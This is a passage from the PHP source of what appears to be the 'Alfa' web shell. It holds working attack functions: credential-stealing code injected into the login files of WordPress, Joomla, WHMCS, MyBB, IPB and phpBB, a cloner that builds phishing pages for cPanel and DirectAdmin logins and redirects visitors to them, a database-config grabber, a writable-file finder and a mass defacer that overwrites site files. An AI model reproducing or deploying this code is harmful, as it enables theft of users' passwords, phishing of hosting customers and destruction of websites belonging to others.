  5576. $login=$path."/wp-login.php";
  5577. if(@is_file($login) AND @is_writable($login)){
  5578. $data_login = @file_get_contents($login);
  5579. if(@preg_match($redirect_wp, $data_login, $match)){
  5580. $evil_login = "\t".$match[0]."\n\t".$code;
  5581. $login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
  5582. @file_put_contents($login, $login_replace);
  5583. hijackOutput(0,$saveto);
  5584. }else{
  5585. hijackOutput(1);
  5586. }
  5587. }else{
  5588. hijackOutput(1);
  5589. }
  5590. }
  5591. function hijackJoomla($path,$saveto){
  5592. $code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
  5593. $code=str_replace('{saveto_path}',$saveto,$code);
  5594. $comp=$path."/administrator/components/com_login/";
  5595. if(@is_file($comp."/login.php")){
  5596. $login = $comp."/login.php";
  5597. }elseif(@is_file($comp."/admin.login.php")){
  5598. $login = $comp."/admin.login.php";
  5599. }else{
  5600. $login = '';
  5601. }
  5602. if(@is_file($login) AND @is_writable($login) AND $login != ''){
  5603. $data_login = @file_get_contents($login);
  5604. $evil_login = $code."\n".$data_login;
  5605. @file_put_contents($login, $evil_login);
  5606. hijackOutput(0,$saveto);
  5607. }else{
  5608. hijackOutput(1);
  5609. }
  5610. }
  5611. function hijackWhmcs($path,$saveto){
  5612. $code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
  5613. $code=str_replace('{saveto_path}',$saveto,$code);
  5614. $conf=$path."/configuration.php";
  5615. if(@is_file($conf) AND @is_writable($conf)){
  5616. $data_conf = @file_get_contents($conf);
  5617. if(!strstr($data_conf,'?>'))$code = '?>'.$code;
  5618. $evil_conf = $data_conf."\n".$code;
  5619. @file_put_contents($conf, $evil_conf);
  5620. hijackOutput(0,$saveto);
  5621. }else{
  5622. hijackOutput(1);
  5623. }
  5624. }
  5625. function hijackMybb($path,$saveto){
  5626. $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
  5627. $find = '$loginhandler->complete_login();';
  5628. $code=str_replace('{saveto_path}',$saveto,$code);
  5629. $login=$path."/member.php";
  5630. $evil_login = "\t".$code."\n\t".$find;
  5631. if(@is_file($login) AND @is_writable($login)){
  5632. $data_login = @file_get_contents($login);
  5633. if(strstr($data_login, $find)){
  5634. $login_replace = str_replace($find,$evil_login, $data_login);
  5635. @file_put_contents($login, $login_replace);
  5636. hijackOutput(0,$saveto);
  5637. }else{
  5638. hijackOutput(1);
  5639. }
  5640. }else{
  5641. hijackOutput(1);
  5642. }
  5643. }
  5644. function hijackIPB($path,$saveto){
  5645. $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  5646. $find = 'unset( $member[\'plainPassword\'] );';
  5647. $code=str_replace('{saveto_path}',$saveto,$code);
  5648. $login=$path."/admin/sources/handlers/han_login.php";
  5649. $evil_login = "\t".$find."\n\t".$code;
  5650. if(@is_file($login) AND @is_writable($login)){
  5651. $data_login = @file_get_contents($login);
  5652. if(strstr($data_login, $find)){
  5653. $login_replace = str_replace($find,$evil_login, $data_login);
  5654. @file_put_contents($login, $login_replace);
  5655. hijackOutput(0,$saveto);
  5656. }else{
  5657. hijackOutput(1);
  5658. }
  5659. }else{
  5660. hijackOutput(1);
  5661. }
  5662. }
  5663. function hijackPHPBB($path,$saveto){
  5664. $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  5665. $find = 'case \'login\':';
  5666. $code=str_replace('{saveto_path}',$saveto,$code);
  5667. $login=$path."/ucp.php";
  5668. $evil_login = "\t".$find."\n\t".$code;
  5669. if(@is_file($login) AND @is_writable($login)){
  5670. $data_login = @file_get_contents($login);
  5671. if(strstr($data_login, $find)){
  5672. $login_replace = str_replace($find,$evil_login, $data_login);
  5673. @file_put_contents($login, $login_replace);
  5674. hijackOutput(0,$saveto);
  5675. }else{
  5676. hijackOutput(1);
  5677. }
  5678. }else{
  5679. hijackOutput(1);
  5680. }
  5681. }
  5682. function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
  5683. function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
  5684. if(@is_dir($dir)){
  5685. $files=@scandir($dir);
  5686. foreach($files as $key => $value){
  5687. $path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
  5688. if(!@is_dir($path)){
  5689. if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
  5690. if($e=='str'){
  5691. $content = @file_get_contents($path);
  5692. if(strpos($content, $string) !== false){
  5693. echo str_replace('\\','/',$path) . "<br>";
  5694. }
  5695. }else{
  5696. if(strstr($value,$string)){
  5697. echo str_replace('\\','/',$path) . "<br>";
  5698. }
  5699. }
  5700. $results[] = $path;
  5701. }elseif($value != "." && $value != "..") {
  5702. Alfa_StrSearcher($path,$string,$ext,$e,$results);
  5703. $results[] = $path;
  5704. }}}}
  5705. function alfafakepage(){
  5706. alfahead();
  5707. AlfaNum(9,10);
  5708. echo '<div class=header><br>
  5709. <center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
  5710. <div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
  5711. $cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
  5712. foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
  5713. echo("</select></div>");
  5714. echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
  5715. <div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
  5716. <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
  5717. <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
  5718. <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
  5719. <div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
  5720. <div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
  5721. $clone_page = $_POST['alfa1'];
  5722. $fake_root = $_POST['alfa2'];
  5723. $logto = $_POST['alfa4'];
  5724. $panel = $_POST['alfa5'];
  5725. $inject_to = $_POST['alfa6'];
  5726. $bind_on = $_POST['alfa7'];
  5727. $count = $_POST['alfa8'];
  5728. if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){
  5729. echo __pre();
  5730. $target = $clone_page;
  5731. $curl = new AlfaCURL();
  5732. $source_page = $curl->Send($target);
  5733. if(!empty($source_page)){
  5734. $matched_form = "";
  5735. if($panel == "cpanel"){
  5736. if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
  5737. $matched_form = $match[0];
  5738. }
  5739. }else{
  5740. if(preg_match('#<form(.*?)>#', $source_page, $match)){
  5741. $matched_form = $match[0];
  5742. }
  5743. }
  5744. if(!empty($matched_form)){
  5745. $fake = "";
  5746. $pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
  5747. $uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
  5748. if($panel == "cpanel"){
  5749. $port = "2083";
  5750. }else{
  5751. $target = str_replace(array("http://", "https://"), "", $target);
  5752. $port = explode(":",$target);
  5753. $port = $port[1];
  5754. }
  5755. if(substr($uri, 0, 1) == "/"){
  5756. $uri = substr($uri, 1);
  5757. }
  5758. $uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
  5759. $log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
  5760. if($panel == "cpanel"){
  5761. $form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
  5762. }else{
  5763. $form = '<form action="'.$log_url.'" method="post">';
  5764. }
  5765. $fake = str_replace($matched_form, $form, $source_page);
  5766. if(@!is_dir($fake_root)){
  5767. @mkdir($fake_root, 0777, true);
  5768. }
  5769.  
  5770. $cookie_name = "alfa_fakepage_counter" . rand(9999,99999);
  5771.  
  5772. $post_user = 'user';
  5773. $post_pass = 'pass';
  5774. $resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
  5775. if($panel != "cpanel"){
  5776. $post_user = 'username';
  5777. $post_pass = 'password';
  5778. $resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
  5779. }
  5780.  
  5781. $cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';
  5782.  
  5783. @file_put_contents($fake_root.'/log.php', $cpanel_log);
  5784.  
  5785. if($panel == "cpanel"){
  5786. $fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
  5787. }
  5788.  
  5789. @file_put_contents($fake_root.'/index.php', $fake);
  5790.  
  5791. $inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
  5792. $bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';
  5793.  
  5794. @file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to));
  5795. @file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on));
  5796.  
  5797. echo "success...!";
  5798. }else{
  5799. echo "failed...!";
  5800. }
  5801. }else{
  5802. echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
  5803. }
  5804. }
  5805. echo '</div>';
  5806. alfafooter();
  5807. }
  5808. function alfaarchive_manager(){
  5809. alfahead();
  5810. $file = $_POST['alfa2'];
  5811. if(!file_exists($file)){
  5812. $file = $GLOBALS['cwd'];
  5813. }
  5814. $rand_id = rand(9999, 999999);
  5815. echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
  5816. echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
  5817. <div class="txtfont">
  5818. Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
  5819. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5820. if($_POST['alfa5']=='>>'){
  5821. //echo __pre();
  5822. echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
  5823. echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
  5824. __alfa_open_archive_file($file, $rand_id);
  5825. echo '</div>';
  5826. }
  5827. echo '</div>';
  5828. alfafooter();
  5829. }
  5830. function __alfa_open_archive_file($arch, $base_id=0){
  5831. try{
  5832. $files = array();
  5833. $dirs = array();
  5834. $archive = new PharData($arch);
  5835. foreach($archive as $file) {
  5836. $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
  5837. if($file->isDir()) {
  5838. $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
  5839. }else{
  5840. $file_size = @filesize($file->getPathname());
  5841. $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
  5842. }
  5843. }
  5844. function __alfa_open_archive_usort($a, $b){
  5845. return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
  5846. }
  5847. usort($dirs, "__alfa_open_archive_usort");
  5848. usort($files, "__alfa_open_archive_usort");
  5849. $files = array_merge($dirs, $files);
  5850. echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
  5851. $icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
  5852. echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
  5853. foreach($files as $file){
  5854. $icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
  5855. if($file["type"] == "dir"){
  5856. echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
  5857. }else{
  5858. echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";
  5859.  
  5860. }
  5861. }
  5862. echo '</table>';
  5863. }catch(Exception $e){
  5864. echo("0");
  5865. }
  5866. }
  5867. function alfaopen_archive_dir(){
  5868. $dir = $_POST["alfa1"];
  5869. $base_id = $_POST["alfa2"];
  5870. __alfa_open_archive_file($dir, $base_id);
  5871. }
  5872. function alfaconfig_grabber(){
  5873. alfahead();
  5874. echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
  5875. echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
  5876. <div class="txtfont">
  5877. Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
  5878. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  5879. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5880. $dir = $_POST['alfa2'];
  5881. $ext = $_POST['alfa3'];
  5882. if($_POST['alfa5']=='>>'){
  5883. echo __pre();
  5884. Alfa_ConfigGrabber($dir, $ext);
  5885. }
  5886. echo '</div>';
  5887. alfafooter();
  5888. }
  5889. function Alfa_ConfigGrabber($dir, $ext) {
  5890. $pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
  5891. $db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
  5892. if(@is_readable($dir)){
  5893. $globFiles = @glob("$dir/*.$ext");
  5894. $globDirs = @glob("$dir/*", GLOB_ONLYDIR);
  5895. $blacklist = array();
  5896. foreach ($globDirs as $dir) {
  5897. if(!@is_readable($dir)||@is_link($dir)) continue;
  5898. @Alfa_ConfigGrabber($dir, $ext);
  5899. }
  5900. foreach ($globFiles as $file){
  5901. $filee = @file_get_contents($file);
  5902. if(preg_match($pattern, $filee)){
  5903. echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
  5904. }
  5905. }
  5906. }
  5907. }
  5908. function alfasearcher(){
  5909. alfahead();
  5910. echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
  5911. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
  5912. echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
  5913. <div class="txtfont">
  5914. Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
  5915. Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
  5916. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  5917. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5918. $dir = $_POST['alfa2'];
  5919. $ext = $_POST['alfa3'];
  5920. $method = $_POST['alfa4'];
  5921. if($_POST['alfa5']=='>>'){
  5922. echo __pre();
  5923. if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
  5924. Alfa_Searcher($dir,trim($ext),$method);
  5925. }
  5926. }
  5927. if($_POST['alfa1']=='str'){
  5928. echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
  5929. <div class="txtfont">
  5930. Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
  5931. String: <input type="text" name="string" value="">
  5932. Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
  5933. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  5934. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5935. $dir = $_POST['alfa2'];
  5936. $string = $_POST['alfa3'];
  5937. $ext = $_POST['alfa5'];
  5938. if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
  5939. echo __pre();
  5940. Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
  5941. }
  5942. }
  5943. echo '</div>';
  5944. alfafooter();
  5945. }
  5946. function alfaMassDefacer(){
  5947. alfahead();
  5948. AlfaNum(5,6,7,8,9,10);
  5949. echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
  5950. echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
  5951. Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  5952. DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
  5953. </form>';
  5954. $dir = $_POST['alfa1'];
  5955. $defpage = $_POST['alfa2'];
  5956. $method = $_POST['alfa3'];
  5957. $fCurrent = $GLOBALS['__file_path'];
  5958. if($_POST['alfa4'] == '>>'){
  5959. if(!empty($dir)){
  5960. if(@is_dir($dir)){
  5961. if(@is_readable($dir)){
  5962. if(@is_file($defpage)){
  5963. if($dh = @opendir($dir)){
  5964. echo __pre();
  5965. while (($file = @readdir($dh)) !== false){
  5966. if($file == '..' || $file == '.')continue;
  5967. $newfile=$dir.$file;
  5968. if($fCurrent == $newfile)continue;
  5969. if(@is_dir($newfile)){
  5970. Alfa_ReadDir($newfile,$method,$defpage);
  5971. }else{
  5972. if(!@is_writable($newfile))continue;
  5973. if(!@is_readable($newfile))continue;
  5974. Alfa_Rewriter($newfile,$file,$defpage,$method);
  5975. }
  5976. }
  5977. closedir($dh);
  5978. }else{__alert('<font color="red">Error In OpenDir...</font>');}
  5979. }else{__alert('<font color="red">DefPage File NotFound...</font>');}
  5980. }else{__alert('<font color="red">Directory is not Readable...</font>');}
  5981. }else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
  5982. }else{__alert('<font color="red">Dir is Empty...</font>');}
  5983. }
  5984. echo '</div>';
  5985. alfafooter();
  5986. }
  5987. function Alfa_ReadDir($dir,$method='',$defpage=''){
  5988. if(!@is_readable($dir)) return false;
  5989. if (@is_dir($dir)) {
  5990. if ($dh = @opendir($dir)) {
  5991. while(($file=readdir($dh))!==false) {
  5992. if($file == '..' || $file == '.')continue;
  5993. $newfile=$dir.'/'.$file;
  5994. if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
  5995. if(@is_file($newfile)){
  5996. if(!@is_readable($newfile))continue;
  5997. Alfa_Rewriter($newfile,$file,$defpage,$method);
  5998. }
  5999. }
  6000. closedir($dh);
  6001. }
  6002. }
  6003. }
  6004. function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
  6005. if(!@is_writable($dir)) return false;
  6006. if(!@is_readable($dir)) return false;
  6007. $defpage=@file_get_contents($defpage);
  6008. if($m == 'index'){
  6009. $indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
  6010. if(in_array(strtolower($file),$indexs)){
  6011. @file_put_contents($dir,$defpage);
  6012. echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
  6013. }
  6014. }elseif($m=='all'){
  6015. @file_put_contents($dir,$defpage);
  6016. echo @is_file($dir)?$dir." <b><font color='red'>DeFaced...</b></font><br>" : '';
  6017. }
  6018. }
  6019. function alfaGetDisFunc(){
  6020. alfahead();
  6021. echo '<div class="header">';
  6022. $disfun = @ini_get('disable_functions');
  6023. $s = explode(',',$disfun);
  6024. $f = array_unique($s);
  6025. echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
  6026. $i=1;
  6027. foreach($f as $s){
  6028. $s=trim($s);
  6029. if(function_exists($s)||!is_callable($s))continue;
  6030. echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
  6031. echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
  6032. $i++;
  6033. }
  6034. echo '</table></center>';
  6035. echo '</div>';
  6036. alfafooter();
  6037. }
  6038. function Alfa_Create_A_Tag($action,$vals){
  6039. $nulls = array();
  6040. foreach($vals as $key => $val){
  6041. echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
  6042. for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
  6043. $f = implode(',',$nulls);
  6044. echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
  6045. unset($nulls);
  6046. }
  6047. }
  6048. function Alfa_Searcher($dir, $ext, $method) {
  6049. if(@is_readable($dir)){
  6050. if($method == 'all')$ext = '*';
  6051. if($method == 'dirs')$ext = '*';
  6052. $globFiles = @glob("$dir/*.$ext");
  6053. $globDirs = @glob("$dir/*", GLOB_ONLYDIR);
  6054. $blacklist = array();
  6055. foreach ($globDirs as $dir) {
  6056. if(!@is_readable($dir)||@is_link($dir)) continue;
  6057. @Alfa_Searcher($dir, $ext, $method);
  6058. }
  6059. switch($method){
  6060. case "files":
  6061. foreach ($globFiles as $file){
  6062. if(@is_writable($file)){
  6063. echo "$file<br>";
  6064. }
  6065. }
  6066. break;
  6067. case "dirs":
  6068. foreach ($globFiles as $file){
  6069. if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
  6070. echo dirname($file).'<br>';
  6071. $blacklist[] = dirname($file);
  6072. }
  6073. }
  6074. break;
  6075. case "all":
  6076. foreach ($globFiles as $file){
  6077. echo $file.'<br>';
  6078. }
  6079. break;
  6080. }
  6081. unset($blacklist);
  6082. }
  6083. }
  6084. function AlfaiFrameCreator($f,$width='100%',$height='600px'){
  6085. return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
  6086. }
  6087. class AlfaCURL {
  6088. public $headers;
  6089. public $user_agent;
  6090. public $compression;
  6091. public $cookie_file;
  6092. public $proxy;
  6093. public $path;
  6094. public $ssl = true;
  6095. public $curl_status = true;
  6096. function __construct($cookies=false,$compression='gzip',$proxy=''){
  6097. if(!extension_loaded('curl')){$curl_status = false;return false;}
  6098. $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
  6099. $this->headers[] = 'Connection: Keep-Alive';
  6100. $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
